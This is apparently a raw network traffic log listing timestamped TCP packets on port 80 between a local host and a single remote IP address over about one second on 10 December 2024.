Dec 10, 2024 02:50:37.715195894 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.715229988 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.715936899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.715975046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.716038942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.716073990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.716761112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.716845036 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.716875076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.716912985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.717602968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.717642069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.717747927 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.717787981 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.718463898 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.718499899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.718529940 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.718561888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.719317913 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.719337940 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.719358921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.719372034 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.720104933 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.720143080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.720207930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.720272064 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.720937014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.720993996 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.721035004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.721074104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.721776009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.721821070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.721869946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.721904993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.722549915 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.722599030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.723738909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.723809004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.724041939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.724086046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.724176884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.724189043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.724215984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.724226952 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.724987030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.725030899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.725107908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.725152016 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.725832939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.725868940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.725934982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.725972891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.726670027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.726708889 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.726771116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.727101088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.727493048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.727529049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.727595091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.727633953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.728363037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.728406906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.728421926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.728456020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.729159117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.729199886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.729275942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.729311943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.730000019 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.730060101 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.730185032 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.730222940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.730818987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.730874062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.730926037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.730962992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.731673002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.731710911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.731745958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.731781006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.732481956 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.732517958 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.732574940 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.732614040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.733326912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.733375072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.733443022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.733480930 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.734148026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.734186888 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.734262943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.734302044 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.734992981 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.735039949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.735125065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.735631943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.735826015 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.735869884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.735938072 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.735980034 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.736654997 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.736726046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.736748934 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.736812115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.737492085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.737551928 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.737580061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.737616062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.738320112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.738377094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.738439083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.738476992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.739145994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.739182949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.739252090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.739284992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.887773037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.887847900 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.887880087 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.887917042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.888084888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.888133049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.888298035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.888338089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.888391018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.888432026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.889117002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.889159918 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.889282942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.889326096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.889942884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.889982939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.890115976 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.890155077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.890758038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.890801907 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.890914917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.890958071 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.891602039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.891643047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.891675949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.891714096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.892416954 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.892457008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.892492056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.892528057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.893265963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.893304110 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.893374920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.893402100 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.894129992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.894171000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.894231081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.894273043 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.894996881 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.895039082 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.895068884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.895107031 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.895764112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.895802021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.895845890 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.895884037 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.896594048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.896631956 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.896708965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.896747112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.897443056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.897485971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.897553921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.897593975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.898272038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.898309946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.898371935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.898418903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.899094105 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.899137020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.899163008 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.899194002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.899919033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.899959087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.900022030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.900057077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.900746107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.900789022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.900882959 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.900921106 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.901576996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.901617050 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.901679039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.901721954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.902427912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.902486086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.902540922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.902580976 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.903245926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.903291941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.903347969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.903382063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.904113054 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.904159069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.904211044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.904253006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.904918909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.904963017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.905113935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.905157089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.905756950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.905796051 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.905857086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.905895948 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.906568050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.906608105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.906666040 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.906701088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.907402039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.907440901 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.907514095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.907552004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.908227921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.908271074 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.908319950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.908360004 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.909060955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.909101009 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.909152031 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.909193039 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.909883022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.909924030 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.909992933 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.910037994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.910744905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.910788059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.910839081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.910873890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.911592007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.911633968 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.911664963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.911709070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.912579060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.912621021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.912813902 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.912853003 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.913722992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.913768053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.913908005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.913949966 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.914328098 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.914369106 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.914505005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.914542913 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.924211979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.924269915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.924297094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.924333096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.924598932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.924643993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.924695969 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.924736977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.925393105 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.925437927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.925578117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.925626040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.926239014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.926285982 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.926429033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.926470041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.927047968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.927088022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.927293062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.927333117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.927905083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.927949905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.928112984 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.928154945 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.928721905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.928761959 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.928854942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.928893089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.929574013 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.929615974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.930141926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.930186033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.930447102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.930458069 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.930490971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.931252003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.931291103 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.932096004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.932106972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.932140112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.932959080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.932971001 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.932981968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.933002949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.933027983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.934428930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.934441090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.934477091 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.934935093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.934946060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.934972048 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.934997082 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.935432911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.935476065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.935502052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.935539007 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.936255932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.936300993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.936372042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.936412096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.937091112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.937149048 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.937340021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.937382936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.937937021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.937978029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.938041925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.938085079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.938731909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.938772917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.938831091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.938864946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.939562082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.939604998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:37.939631939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:37.939666033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.081584930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.081831932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.081870079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.081880093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.081962109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.081996918 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.082040071 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.082617998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.082673073 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.082743883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.082847118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.083431005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.083513975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.083544970 CET	80	49763	185.215.113.206	192.168.2.5
